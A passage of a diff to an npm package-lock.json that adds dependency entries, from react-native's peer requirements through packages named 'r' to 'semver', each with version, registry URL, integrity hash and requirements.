"sha512-RYJXCcQGa4NTfKiPgl92eRDUuQ6JGDnHqFEzRwJSqEx9lWvlvRRIebstJfurzPDKLQWQrvITR7aI7e09E25mLw==", + "peer": true, + "requires": { + "@jest/create-cache-key-function": "^29.2.1", + "@react-native-community/cli": "10.1.3", + "@react-native-community/cli-platform-android": "10.1.3", + "@react-native-community/cli-platform-ios": "10.1.1", + "@react-native/assets": "1.0.0", + "@react-native/normalize-color": "2.1.0", + "@react-native/polyfills": "2.0.0", + "abort-controller": "^3.0.0", + "anser": "^1.4.9", + "base64-js": "^1.1.2", + "deprecated-react-native-prop-types": "^3.0.1", + "event-target-shim": "^5.0.1", + "invariant": "^2.2.4", + "jest-environment-node": "^29.2.1", + "jsc-android": "^250231.0.0", + "memoize-one": "^5.0.0", + "metro-react-native-babel-transformer": "0.73.7", + "metro-runtime": "0.73.7", + "metro-source-map": "0.73.7", + "mkdirp": "^0.5.1", + "nullthrows": "^1.1.1", + "pretty-format": "^26.5.2", + "promise": "^8.3.0", + "react-devtools-core": "^4.26.1", + "react-native-codegen": "^0.71.5", + "react-native-gradle-plugin": "^0.71.15", + "react-refresh": "^0.4.0", + "react-shallow-renderer": "^16.15.0", + "regenerator-runtime": "^0.13.2", + "scheduler": "^0.23.0", + "stacktrace-parser": "^0.1.3", + "use-sync-external-store": "^1.0.0", + "whatwg-fetch": "^3.0.0", + "ws": "^6.2.2" + }, + "dependencies": { + "promise": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/promise/-/promise-8.3.0.tgz", + "integrity": "sha512-rZPNPKTOYVNEEKFaq1HqTgOwZD+4/YHS5ukLzQCypkj+OkYx7iv0mA91lJlpPPZ8vMau3IIGj5Qlwrx+8iiSmg==", + "peer": true, + "requires": { + "asap": "~2.0.6" + } + }, + "react-shallow-renderer": { + "version": "16.15.0", + "resolved": "https://registry.npmjs.org/react-shallow-renderer/-/react-shallow-renderer-16.15.0.tgz", + "integrity": "sha512-oScf2FqQ9LFVQgA73vr86xl2NaOIX73rh+YFqcOp68CWj56tSfgtGKrEbyhCj0rSijyG9M1CYprTh39fBi5hzA==", + "peer": true, + "requires": { + "object-assign": "^4.1.1", + "react-is": "^16.12.0 || ^17.0.0 || ^18.0.0" + } + }, + "regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==", + "peer": true + }, + "use-sync-external-store": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.2.0.tgz", + "integrity": "sha512-eEgnFxGQ1Ife9bzYs6VLi8/4X6CObHMw9Qr9tPY43iKwsPw8xE8+EFsf/2cFZ5S3esXgpWgtSCtLNS41F+sKPA==", + "peer": true, + "requires": {} + } + } + }, + "react-native-codegen": { + "version": "0.71.5", + "resolved": "https://registry.npmjs.org/react-native-codegen/-/react-native-codegen-0.71.5.tgz", + "integrity": "sha512-rfsuc0zkuUuMjFnrT55I1mDZ+pBRp2zAiRwxck3m6qeGJBGK5OV5JH66eDQ4aa+3m0of316CqrJDRzVlYufzIg==", + "peer": true, + "requires": { + "@babel/parser": "^7.14.0", + "flow-parser": "^0.185.0", + "jscodeshift": "^0.13.1", + "nullthrows": "^1.1.1" + } + }, + "react-native-gradle-plugin": { + "version": "0.71.15", + "resolved": "https://registry.npmjs.org/react-native-gradle-plugin/-/react-native-gradle-plugin-0.71.15.tgz", + "integrity": "sha512-7S3pAuPaQJlhax6EZ4JMsDNpj05TfuzX9gPgWLrFfAIWIFLuJ6aDQYAZy2TEI9QJALPoWrj8LWaqP/DGYh14pw==", + "peer": true + }, + "react-native-url-polyfill": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/react-native-url-polyfill/-/react-native-url-polyfill-1.1.2.tgz", + "integrity": "sha512-RPYwjW+4udnAf26xUCQP2dn4t2tnRFo3Ii4s/hy7Ivpe7xYtXp7CMVX505CR8X3p0f8NKmOJ4MQEFMMnbd/Y/Q==", + "requires": { + "buffer": "^5.4.3", + "whatwg-url-without-unicode": "8.0.0-1" + }, + "dependencies": { + "buffer": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.6.0.tgz", + "integrity": "sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw==", + "requires": { + "base64-js": "^1.0.2", + "ieee754": "^1.1.4" + } + } + } + }, + "react-refresh": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.4.3.tgz", + "integrity": "sha512-Hwln1VNuGl/6bVwnd0Xdn1e84gT/8T9aYNL+HAKDArLCS7LWjwr7StE30IEYbIkx0Vi3vs+coQxe+SQDbGbbpA==", + "peer": true + }, + "read-only-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/read-only-stream/-/read-only-stream-2.0.0.tgz", + "integrity": "sha1-JyT9aoET1zdkrCiNQ4YnDB2/F/A=", + "dev": true, + "requires": { + "readable-stream": "^2.0.2" + } + }, + "read-pkg": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz", + "integrity": "sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=", + "dev": true, + "requires": { + "load-json-file": "^1.0.0", + "normalize-package-data": "^2.3.2", + "path-type": "^1.0.0" + } + }, + "read-pkg-up": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz", + "integrity": "sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=", + "dev": true, + "requires": { + "find-up": "^1.0.0", + "read-pkg": "^1.0.0" + } + }, + "readable-stream": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.1.tgz", + "integrity": "sha512-u6cxIvtbZcjq2HH71Zc/SRBUl7vbv62szIqmqqGpK3HY5J1c0kR/LUzKUpeoFgMzapvVAlBD+QY56ilWmHi4Nw==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~1.0.6", + "safe-buffer": "~5.1.0", + "string_decoder": "~1.0.0", + "util-deprecate": "~1.0.1" + }, + "dependencies": { + "string_decoder": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.2.tgz", + "integrity": "sha1-sp4fThEl+pehA4K4pTNze3SR4Xk=", + "requires": { + "safe-buffer": "~5.0.1" + }, + "dependencies": { + "safe-buffer": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.0.1.tgz", + "integrity": "sha1-0mPKVGls2KMGtcplUekt5XkY++c=" + } + } + } + } + }, + "readdirp": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.1.0.tgz", + "integrity": "sha1-TtCtBg3zBzMAxIRANz9y0cxkLXg=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "minimatch": "^3.0.2", + "readable-stream": "^2.0.2", + "set-immediate-shim": "^1.0.1" + } + }, + "readline": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/readline/-/readline-1.3.0.tgz", + "integrity": "sha512-k2d6ACCkiNYz222Fs/iNze30rRJ1iIicW7JuX/7/cozvih6YCkFZH+J6mAFDVgv0dRBaAyr4jDqC95R2y4IADg==", + "peer": true + }, + "recast": { + "version": "0.20.5", + "resolved": "https://registry.npmjs.org/recast/-/recast-0.20.5.tgz", + "integrity": "sha512-E5qICoPoNL4yU0H0NoBDntNB0Q5oMSNh9usFctYniLBluTthi3RsQVBXIJNbApOlvSwW/RGxIuokPcAc59J5fQ==", + "peer": true, + "requires": { + "ast-types": "0.14.2", + "esprima": "~4.0.0", + "source-map": "~0.6.1", + "tslib": "^2.0.1" + }, + "dependencies": { + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "peer": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "peer": true + }, + "tslib": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", + "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==", + "peer": true + } + } + }, + "rechoir": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz", + "integrity": "sha1-hSBLVNuoLVdC4oyWdW70OvUOM4Q=", + "dev": true, + "requires": { + "resolve": "^1.1.6" + } + }, + "redent": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/redent/-/redent-1.0.0.tgz", + "integrity": "sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=", + "dev": true, + "requires": { + "indent-string": "^2.1.0", + "strip-indent": "^1.0.1" + } + }, + "reduce-css-calc": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/reduce-css-calc/-/reduce-css-calc-1.3.0.tgz", + "integrity": "sha1-dHyRTgSWFKTJz7umKYca0dKSdxY=", + "dev": true, + "requires": { + "balanced-match": "^0.4.2", + "math-expression-evaluator": "^1.2.14", + "reduce-function-call": "^1.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-0.4.2.tgz", + "integrity": "sha1-yz8+PHMtwPAe5wtAPzAuYddwmDg=", + "dev": true + } + } + }, + "reduce-function-call": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/reduce-function-call/-/reduce-function-call-1.0.2.tgz", + "integrity": "sha1-WiAL+S4ON3UXUv5FsKszD9S2vpk=", + "dev": true, + "requires": { + "balanced-match": "^0.4.2" + }, + "dependencies": { + "balanced-match": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-0.4.2.tgz", + "integrity": "sha1-yz8+PHMtwPAe5wtAPzAuYddwmDg=", + "dev": true + } + } + }, + "regenerate": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.0.tgz", + "integrity": "sha512-1G6jJVDWrt0rK99kBjvEtziZNCICAuvIPkSiUFIQxVP06RCVpq3dmDo2oi6ABpYaDYaTRr67BEhL8r1wgEZZKg==" + }, + "regenerate-unicode-properties": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-8.2.0.tgz", + "integrity": "sha512-F9DjY1vKLo/tPePDycuH3dn9H1OTPIkVD9Kz4LODu+F2C75mgjAJ7x/gwy6ZcSNRAAkhNlJSOHRe8k3p+K9WhA==", + "requires": { + "regenerate": "^1.4.0" + } + }, + "regenerator-runtime": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", + "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==" + }, + "regenerator-transform": { + "version": "0.10.1", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.10.1.tgz", + "integrity": "sha512-PJepbvDbuK1xgIgnau7Y90cwaAmO/LCLMI2mPvaXq2heGMR3aWW5/BQvYrhJ8jgmQjXewXvBjzfqKcVOmhjZ6Q==", + "dev": true, + "requires": { + "babel-runtime": "^6.18.0", + "babel-types": "^6.19.0", + "private": "^0.1.6" + } + }, + "regex-cache": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/regex-cache/-/regex-cache-0.4.3.tgz", + "integrity": "sha1-mxpsNdTQ3871cRrmUejp09cRQUU=", + "dev": true, + "requires": { + "is-equal-shallow": "^0.1.3", + "is-primitive": "^2.0.0" + } + }, + "regex-not": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", + "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", + "requires": { + "extend-shallow": "^3.0.2", + "safe-regex": "^1.1.0" + } + }, + "regexpp": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-1.1.0.tgz", + "integrity": "sha512-LOPw8FpgdQF9etWMaAfG/WRthIdXJGYp4mJ2Jgn/2lpkbod9jPn0t9UqN7AxBOKNfzRbYyVfgc7Vk4t/MpnXgw==", + "dev": true + }, + "regexpu-core": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-2.0.0.tgz", + "integrity": "sha1-SdA4g3uNz4v6W5pCE5k45uoq4kA=", + "dev": true, + "requires": { + "regenerate": "^1.2.1", + "regjsgen": "^0.2.0", + "regjsparser": "^0.1.4" + } + }, + "regjsgen": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.2.0.tgz", + "integrity": "sha1-bAFq3qxVT3WCP+N6wFuS1aTtsfc=", + "dev": true + }, + "regjsparser": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.1.5.tgz", + "integrity": "sha1-fuj4Tcb6eS0/0K4ijSS9lJ6tIFw=", + "dev": true, + "requires": { + "jsesc": "~0.5.0" + }, + "dependencies": { + "jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=", + "dev": true + } + } + }, + "remove-trailing-separator": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.0.2.tgz", + "integrity": "sha1-abBi2XhyetFNxrVrpKt3L9jXBRE=", + "dev": true + }, + "repeat-element": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.2.tgz", + "integrity": "sha1-7wiaF40Ug7quTZPrmLT55OEdmQo=" + }, + "repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", + "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=" + }, + "repeating": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz", + "integrity": "sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=", + "dev": true, + "requires": { + "is-finite": "^1.0.0" + } + }, + "request": { + "version": "2.87.0", + "resolved": "https://registry.npmjs.org/request/-/request-2.87.0.tgz", + "integrity": "sha512-fcogkm7Az5bsS6Sl0sibkbhcKsnyon/jV1kF3ajGmF0c8HrttdKTPRT9hieOaQHA5HEq6r8OyWOo/o781C1tNw==", + "dev": true, + "requires": { + "aws-sign2": "~0.7.0", + "aws4": "^1.6.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.5", + "extend": "~3.0.1", + "forever-agent": "~0.6.1", + "form-data": "~2.3.1", + "har-validator": "~5.0.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.17", + "oauth-sign": "~0.8.2", + "performance-now": "^2.1.0", + "qs": "~6.5.1", + "safe-buffer": "^5.1.1", + "tough-cookie": "~2.3.3", + "tunnel-agent": "^0.6.0", + "uuid": "^3.1.0" + }, + "dependencies": { + "tough-cookie": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.4.tgz", + "integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==", + "dev": true, + "requires": { + "punycode": "^1.4.1" + } + } + } + }, + "require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=" + }, + "require-from-string": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-1.2.1.tgz", + "integrity": "sha1-UpyczvJzgK3+yaL5ZbZJu+5jZBg=", + "dev": true + }, + "require-main-filename": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", + "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=", + "dev": true + }, + "require-uncached": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/require-uncached/-/require-uncached-1.0.3.tgz", + "integrity": "sha1-Tg1W1slmL9MeQwEcS5WqSZVUIdM=", + "dev": true, + "requires": { + "caller-path": "^0.1.0", + "resolve-from": "^1.0.0" + } + }, + "requireg": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/requireg/-/requireg-0.2.2.tgz", + "integrity": "sha512-nYzyjnFcPNGR3lx9lwPPPnuQxv6JWEZd2Ci0u9opN7N5zUEPIhY/GbL3vMGOr2UXwEg9WwSyV9X9Y/kLFgPsOg==", + "dev": true, + "requires": { + "nested-error-stacks": "~2.0.1", + "rc": "~1.2.7", + "resolve": "~1.7.1" + }, + "dependencies": { + "resolve": { + "version": "1.7.1", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.7.1.tgz", + "integrity": "sha512-c7rwLofp8g1U+h1KNyHL/jicrKg1Ek4q+Lr33AL65uZTinUZHe30D5HlyN5V9NW0JX1D5dXQ4jqW5l7Sy/kGfw==", + "dev": true, + "requires": { + "path-parse": "^1.0.5" + } + } + } + }, + "resolve": { + "version": "1.20.0", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.20.0.tgz", + "integrity": "sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A==", + "requires": { + "is-core-module": "^2.2.0", + "path-parse": "^1.0.6" + } + }, + "resolve-from": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-1.0.1.tgz", + "integrity": "sha1-Jsv+k10a7uq7Kbw/5a6wHpPUQiY=", + "dev": true + }, + "resolve-url": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", + "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=" + }, + "resq": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/resq/-/resq-1.11.0.tgz", + "integrity": "sha512-G10EBz+zAAy3zUd/CDoBbXRL6ia9kOo3xRHrMDsHljI0GDkhYlyjwoCx5+3eCC4swi1uCoZQhskuJkj7Gp57Bw==", + "dev": true, + "requires": { + "fast-deep-equal": "^2.0.1" + }, + "dependencies": { + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha512-bCK/2Z4zLidyB4ReuIsvALH6w31YfAQDmXMqMx6FyfHqvBxtjC0eRumeSu4Bs3XtXwpyIywtSTrVT99BxY1f9w==", + "dev": true + } + } + }, + "restore-cursor": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz", + "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=", + "dev": true, + "requires": { + "onetime": "^2.0.0", + "signal-exit": "^3.0.2" + } + }, + "ret": { + "version": "0.1.15", + "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", + "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==" + }, + "retry": { + "version": "0.10.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.10.1.tgz", + "integrity": "sha1-52OI0heZLCUnUCQdPTlW/tmNj/Q=", + "dev": true + }, + "rgb-regex": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/rgb-regex/-/rgb-regex-1.0.1.tgz", + "integrity": "sha1-wODWiC3w4jviVKR16O3UGRX+rrE=", + "dev": true + }, + "rgb2hex": { + "version": "0.1.10", + "resolved": "https://registry.npmjs.org/rgb2hex/-/rgb2hex-0.1.10.tgz", + "integrity": "sha512-vKz+kzolWbL3rke/xeTE2+6vHmZnNxGyDnaVW4OckntAIcc7DcZzWkQSfxMDwqHS8vhgySnIFyBUH7lIk6PxvQ==", + "dev": true + }, + "rgba-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/rgba-regex/-/rgba-regex-1.0.0.tgz", + "integrity": "sha1-QzdOLiyglosO8VI0YLfXMP8i7rM=", + "dev": true + }, + "right-align": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/right-align/-/right-align-0.1.3.tgz", + "integrity": "sha1-YTObci/mo1FWiSENJOFMlhSGE+8=", + "dev": true, + "requires": { + "align-text": "^0.1.1" + } + }, + "rimraf": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", + "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", + "requires": { + "glob": "^7.0.5" + }, + "dependencies": { + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } + } + }, + "ripemd160": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.1.tgz", + "integrity": "sha1-D0WEKVxTo2KK9+bXmsohzlfRxuc=", + "dev": true, + "requires": { + "hash-base": "^2.0.0", + "inherits": "^2.0.1" + } + }, + "run-async": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.3.0.tgz", + "integrity": "sha1-A3GrSuC91yDUFm19/aZP96RFpsA=", + "dev": true, + "requires": { + "is-promise": "^2.1.0" + } + }, + "run-queue": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/run-queue/-/run-queue-1.0.3.tgz", + "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=", + "dev": true, + "requires": { + "aproba": "^1.1.1" + } + }, + "rx-lite": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/rx-lite/-/rx-lite-4.0.8.tgz", + "integrity": "sha1-Cx4Rr4vESDbwSmQH6S2kJGe3lEQ=", + "dev": true + }, + "rx-lite-aggregates": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/rx-lite-aggregates/-/rx-lite-aggregates-4.0.8.tgz", + "integrity": "sha1-dTuHqJoRyVRnxKwWJsTvxOBcZ74=", + "dev": true, + "requires": { + "rx-lite": "*" + } + }, + "rxjs": { + "version": "6.6.7", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz", + "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==", + "dev": true, + "requires": { + "tslib": "^1.9.0" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "safe-json-parse": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/safe-json-parse/-/safe-json-parse-1.0.1.tgz", + "integrity": "sha1-PnZyPjjf3aE8mx0poeB//uSzC1c=", + "dev": true + }, + "safe-regex": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", + "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", + "requires": { + "ret": "~0.1.10" + } + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "sass-graph": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/sass-graph/-/sass-graph-2.2.4.tgz", + "integrity": "sha1-E/vWPNHK8JCLn9k0dq1DpR0eC0k=", + "dev": true, + "requires": { + "glob": "^7.0.0", + "lodash": "^4.0.0", + "scss-tokenizer": "^0.2.3", + "yargs": "^7.0.0" + } + }, + "sass-loader": { + "version": "6.0.7", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-6.0.7.tgz", + "integrity": "sha512-JoiyD00Yo1o61OJsoP2s2kb19L1/Y2p3QFcCdWdF6oomBGKVYuZyqHWemRBfQ2uGYsk+CH3eCguXNfpjzlcpaA==", + "dev": true, + "requires": { + "clone-deep": "^2.0.1", + "loader-utils": "^1.0.1", + "lodash.tail": "^4.1.1", + "neo-async": "^2.5.0", + "pify": "^3.0.0" + }, + "dependencies": { + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", + "dev": true + } + } + }, + "sax": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==", + "dev": true + }, + "scheduler": { + "version": "0.23.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.0.tgz", + "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", + "peer": true, + "requires": { + "loose-envify": "^1.1.0" + } + }, + "schema-utils": { + "version": "0.4.5", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.5.tgz", + "integrity": "sha512-yYrjb9TX2k/J1Y5UNy3KYdZq10xhYcF8nMpAW6o3hy6Q8WSIEf9lJHG/ePnOBfziPM3fvQwfOwa13U/Fh8qTfA==", + "dev": true, + "requires": { + "ajv": "^6.1.0", + "ajv-keywords": "^3.1.0" + }, + "dependencies": { + "ajv": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.1.tgz", + "integrity": "sha512-pgZos1vgOHDiC7gKNbZW8eKvCnNXARv2oqrGQT7Hzbq5Azp7aZG6DJzADnkuSq7RH6qkXp4J/m68yPX/2uBHyQ==", + "dev": true, + "requires": { + "fast-deep-equal": "^2.0.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.1" + } + }, + "ajv-keywords": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.2.0.tgz", + "integrity": "sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=", + "dev": true, + "requires": {} + }, + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", + "dev": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + } + } + }, + "scss-tokenizer": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/scss-tokenizer/-/scss-tokenizer-0.2.3.tgz", + "integrity": "sha1-jrBtualyMzOCTT9VMGQRSYR85dE=", + "dev": true, + "requires": { + "js-base64": "^2.1.8", + "source-map": "^0.4.2" + }, + "dependencies": { + "source-map": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz", + "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", + "dev": true, + "requires": { + "amdefine": ">=0.0.4" + } + } + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": 